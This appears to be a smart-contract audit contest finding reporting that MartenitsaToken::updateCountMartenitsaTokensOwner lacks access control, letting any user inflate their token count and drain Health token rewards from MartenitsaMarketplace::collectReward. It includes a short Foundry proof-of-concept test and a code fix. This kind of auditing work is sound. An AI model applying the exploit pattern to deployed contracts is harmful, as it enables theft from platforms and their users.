First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing access control on `MartenitsaToken::updateCountMartenitsaTokensOwner` allows manipulation of `MartenitsaMarketplace::collectReward`

irondevx

Summary

Due to lacking access control on MartenitsaToken::updateCountMartenitsaTokensOwner, reward distribution mechanism of MartenitsaMarketplace::collectReward can be heavily manipulated.

// MartenitsaMarketplace.sol
function collectReward() external {
// ...
@> uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
// ...
}

Vulnerability Details

MartenitsaToken::updateCountMartenitsaTokensOwner lacks appropriate access control, allowing any user to freely modify the count of Martenitsa tokens they own. This oversight permits the exploitation of the MartenitsaMarketplace::collectReward function, enabling users to claim Health tokens without legitimately owning the requisite number of Martenitsa tokens.

Impact

This vulnerability allows any user to inflate their countMartenitsaTokensOwner arbitrarily. The inflated count directly influences the reward mechanism, leading to unauthorized claim of Health tokens. Such actions can deplete the resources meant for genuine participants and disrupt the integrity and financial stability of the platform.

Tools Used

Foundry

Proof of Code

Code Add the following code to the `MartenitsaMarketplace.t.sol` file:
function test__CollectRewards__WithoutAnyMartenitsas() public {
// ********** Setup **********
assertEq(healthToken.balanceOf(bob), 0); // Bob has 0 HT
assertEq(martenitsaToken.balanceOf(bob), 0); // Bob has 0 Martenitsas
​
// ********** Bob increases their Martenitsa count due to lacking access control **********
vm.startPrank(bob);
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(bob, "add");
​
// ********** Bob claims their HTs without having any Martenitsas **********
marketplace.collectReward();
assertEq(healthToken.balanceOf(bob), 10 ** 18); // Bob gets 1 HT
vm.stopPrank();
}

Recommendations

Remove arbitrary tracking of balances via countMartenitsaTokensOwner and start using actual MartenitsaToken balances to calculate rewards:

// MartenitsaToken.sol
- mapping(address => uint256) public countMartenitsaTokensOwner;
​
- function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
-
- if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
- countMartenitsaTokensOwner[owner] += 1;
- } else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
- countMartenitsaTokensOwner[owner] -= 1;
- } else {
- revert("Wrong operation");
- }
- }
// MartenitsaMarketplace.sol
function collectReward() external {
// ...
- uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
+ uint256 count = martenitsaToken.balanceOf(msg.sender);
// ...
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.